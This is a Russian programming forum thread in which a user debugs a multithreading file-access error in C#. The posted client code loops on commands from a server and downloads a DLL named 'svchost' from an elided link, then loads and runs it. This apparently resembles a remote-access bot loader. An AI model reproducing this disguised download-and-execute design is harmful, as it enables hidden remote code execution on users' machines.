С Новым годом! Форум программистов, компьютерный форум, киберфорум
C# Windows Forms
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.56/9: Рейтинг темы: голосов - 9, средняя оценка - 4.56
0 / 0 / 1
Регистрация: 04.12.2012
Сообщений: 21
1

Visual Studio 2010 разное поведение программы при запуске *.exe и из VS

04.11.2013, 00:13. Показов 1869. Ответов 9
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Уважаемые знатоки, столкнулся с проблемой!
Программа ведет себя по-разному если её запускать из VS и если её запускать через проводник Windows из папки debug. Я не знаю, в чем беда и в интернетах не нашел верного ответа.

Уповаю на ваш опыт!
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
04.11.2013, 00:13
Ответы с готовыми решениями:

Visual Studio 2010 разное поведение программы при запуске *.exe и из VS
Может кто подскажет, как такое может быть, что когда запускаю программу, из VS, все работает...

Разное поведение программы в консоли и в Visual Studio 2010
Добрый день! Я новичок - изучаю С++ третий день. Во время выполнения упражнения с функцией rand()...

Visual Studio 2010 выдаёт ошибку при запуске
При запуске visual studio она крашится и выдает ошибку.Помогите решить проблему пожалуйста!. Вот...

Ошибка при запуске Visual Studio Shell 2010
Здравствуйте! Установил Visual C#, затем Visual Studio Shell 2010. При запуске Shell возникает...

9
Эксперт .NET
17791 / 12942 / 3381
Регистрация: 17.09.2011
Сообщений: 21,223
04.11.2013, 00:26 2
Начните с простого: определите, в чем заключается "по-разному".
Оттуда и будем плясать.
1
sezada
04.11.2013, 00:36
  #3

Не по теме:

kolorotur, поражен терпеливостью = )

0
0 / 0 / 1
Регистрация: 04.12.2012
Сообщений: 21
04.11.2013, 00:49  [ТС] 4
это дело в многопоточности:
есть следующий фрагмент кода:
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
static Assembly a = null;
static public string dllName = "svchost";
static TcpClient client;
 
static byte[] loadFile(string filename)
        {
            byte[] buffer = null;
            using (FileStream fs = new FileStream(filename, FileMode.Open))
            {
                buffer = new byte[(int)fs.Length];
                fs.Read(buffer, 0, buffer.Length);
            }
            return buffer;
        }
 
 
static public object TryUpdate()
        {
            try
            {
                File.Delete(dllName+".dll");
                WebClient wc = new WebClient();
                wc.DownloadFile("ссылочка для скачивания", dllName + ".dll");
                return Assembly.Load(loadFile(dllName + ".dll"));
                
            }
            catch (Exception ex)
            {
                return ex.Message;
            }
        }
 
private static void RunCommand(object cmd)
        {
            switch ((string)cmd)
            {
                case "update":
                    {
                        try
                        {
                            File.Delete(dllName + ".dll");
                            WebClient wc = new WebClient();
                            wc.DownloadFile("ссылочка для скачивания", dllName + ".dll");
                            a= Assembly.Load(loadFile(dllName + ".dll"));
                            answer = "Successfully updated to ver. " + ExecuteCommand(a, "vers");
                        }
                        catch (Exception ex)
                        {
                            answer =  ex.Message;
                        }
                        break;
                    }
                default:
                    {
                       //тут тоже что-то есть
                        break;
                    }
            }
 
            client.MessageSend(answer);
        }
 
кусок мэйна:
 
client = new Client();
            try
            {
                do
                {
                    if (File.Exists(dllName + ".dll"))
                    {
 
                        a = Assembly.Load(loadFile(dllName + ".dll"));
                        string cmd = client.MessageRecieve();
                        if (cmd != null)
                        {
                            //new Thread(RunCommand).Start(cmd); <<-- с использованием отдельных потоков вылезает эксепшн при cmd = "update". пишет "нет доступа к файлу" хотя при запуске из VS такой ошибки не возникает
                            RunCommand(cmd); <<-- без потоков всё кашерно
                        }
                        else
                        {
                            throw new Exception();
                        }
                    }
                    else
                    {
                        a = (Assembly)TryUpdate();
                    }
                } while (true);
            }
            catch (Exception ex)
            {
                client.MessageSend(ex.Message);
                Client.Connected = false;
                goto begin;
            }
Добавлено через 1 минуту
да, действительно) надо было назвать меня криворуким нубом, сказать, что экстрасенсы сейчас в отпуске и отправить с тупыми вопросами в гугл или к гадалке?)
0
208 / 164 / 29
Регистрация: 11.09.2013
Сообщений: 445
04.11.2013, 00:56 5
Koskapan, половина дела есть = ) теперь можно узнать, что работает не так?
0
Эксперт .NET
17791 / 12942 / 3381
Регистрация: 17.09.2011
Сообщений: 21,223
04.11.2013, 00:56 6
Цитата Сообщение от Koskapan Посмотреть сообщение
пишет "нет доступа к файлу" хотя при запуске из VS такой ошибки не возникает
1. В тех местах, где идет обращение к файлу, выведите через диалог или консоль полный путь к этому файлу (Path.GetFullPath) и убедитесь, что ваша программа пытается достучаться именно до того места, о котором вы думаете. Тут может быть проблема с различающимися рабочими директориями.
2. Проверьте, есть ли доступ к файлу из-под ограниченной учетной записи, т.к. хост-процесс студии работает с повышенными правами.
0
208 / 164 / 29
Регистрация: 11.09.2013
Сообщений: 445
04.11.2013, 01:00 7
о, кстати, не подумал о приоритетах процессов в студии
0
0 / 0 / 1
Регистрация: 04.12.2012
Сообщений: 21
04.11.2013, 02:21  [ТС] 8
Так а обращение же к файлу происходит по относительному пути -
C#
1
File.Delete(dllName + ".dll")
т.е. он должен быть в той же директории что и экзешник. (?)

Добавлено через 18 минут
Наверное, оно происходит потому, что в цикле do {} While (true) происходит каждый раз обращение к методу LoadFile вначале...при использовании нескольких потоков после команды "update" один поток перезаписывал dll-ку в то время как другой поток в цикле пытался к ней обратиться, вот и получалась такая лабуда...даже если так, вопрос-то почему в студии одно, а ручками - другое?..

Добавлено через 15 минут
ну да, так оно и было
вынес проверку на наличие dll-ки
C#
1
2
3
4
5
6
7
8
if (File.Exists(dllName + ".dll"))
                {
                    a = Assembly.Load(loadFile(dllName + ".dll"));
                }
                else
                {
                    a = (Assembly)TryUpdate();
                }
за цикл и все работает...но вопрос всё таки остается открытым, хоть и чисто ради интереса - почему так по-разному?)

Добавлено через 2 минуты
а если я пишу
C#
1
 new Thread(RunCommand).Start(cmd);
этот поток будет работать теперь до завершения работы программы или самоликвидируется, когда RunCommand завершит выполнение?
0
208 / 164 / 29
Регистрация: 11.09.2013
Сообщений: 445
04.11.2013, 02:25 9
самоликвидируется. но мне кажется, что выхода из бесконечного цикла Вы не оставили, кроме как через Exception. вот и крутится бесконечно, занимая ресурсы. могу ошибаться, конечно
0
0 / 0 / 1
Регистрация: 04.12.2012
Сообщений: 21
04.11.2013, 02:30  [ТС] 10
это задумка такая, там должен быть бесконечный цикл, выход - только завершение работы программы)) это клиент...в бесконечном цикле он ожидает получения сообщения от сервера

Добавлено через 58 секунд
тем более в эксепшине стоит переход по метке begin, а она установлена перед началом цикла и созданием экземпляра класса Client
0
04.11.2013, 02:30
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
04.11.2013, 02:30
Помогаю со студенческими работами здесь

При запуске Visual Studio 2010 выдает ошибку
Выдает такое что делать? заранее спасибо

Различное поведение программы при запуске из-под VisualStudio и exe файла при Debug параметре
Столкнулся с непонятной для меня вещью: при запуске этого кода using (var fs = new...

Visual Studio 2010, при запуске на debug или rebuild вылетает ошибка
Доброе время суток! Пишу на Visual Studio 2010. Сталкнулся с такой проблемой при запуске проекта на...

При запуске exe файла Visual Studio Enterprise 2017 появляется ошибка
Ошибка: запуск программы невозможен так как отсутствует d3dcompiler_47.dll Пробовал заменить...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
10
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru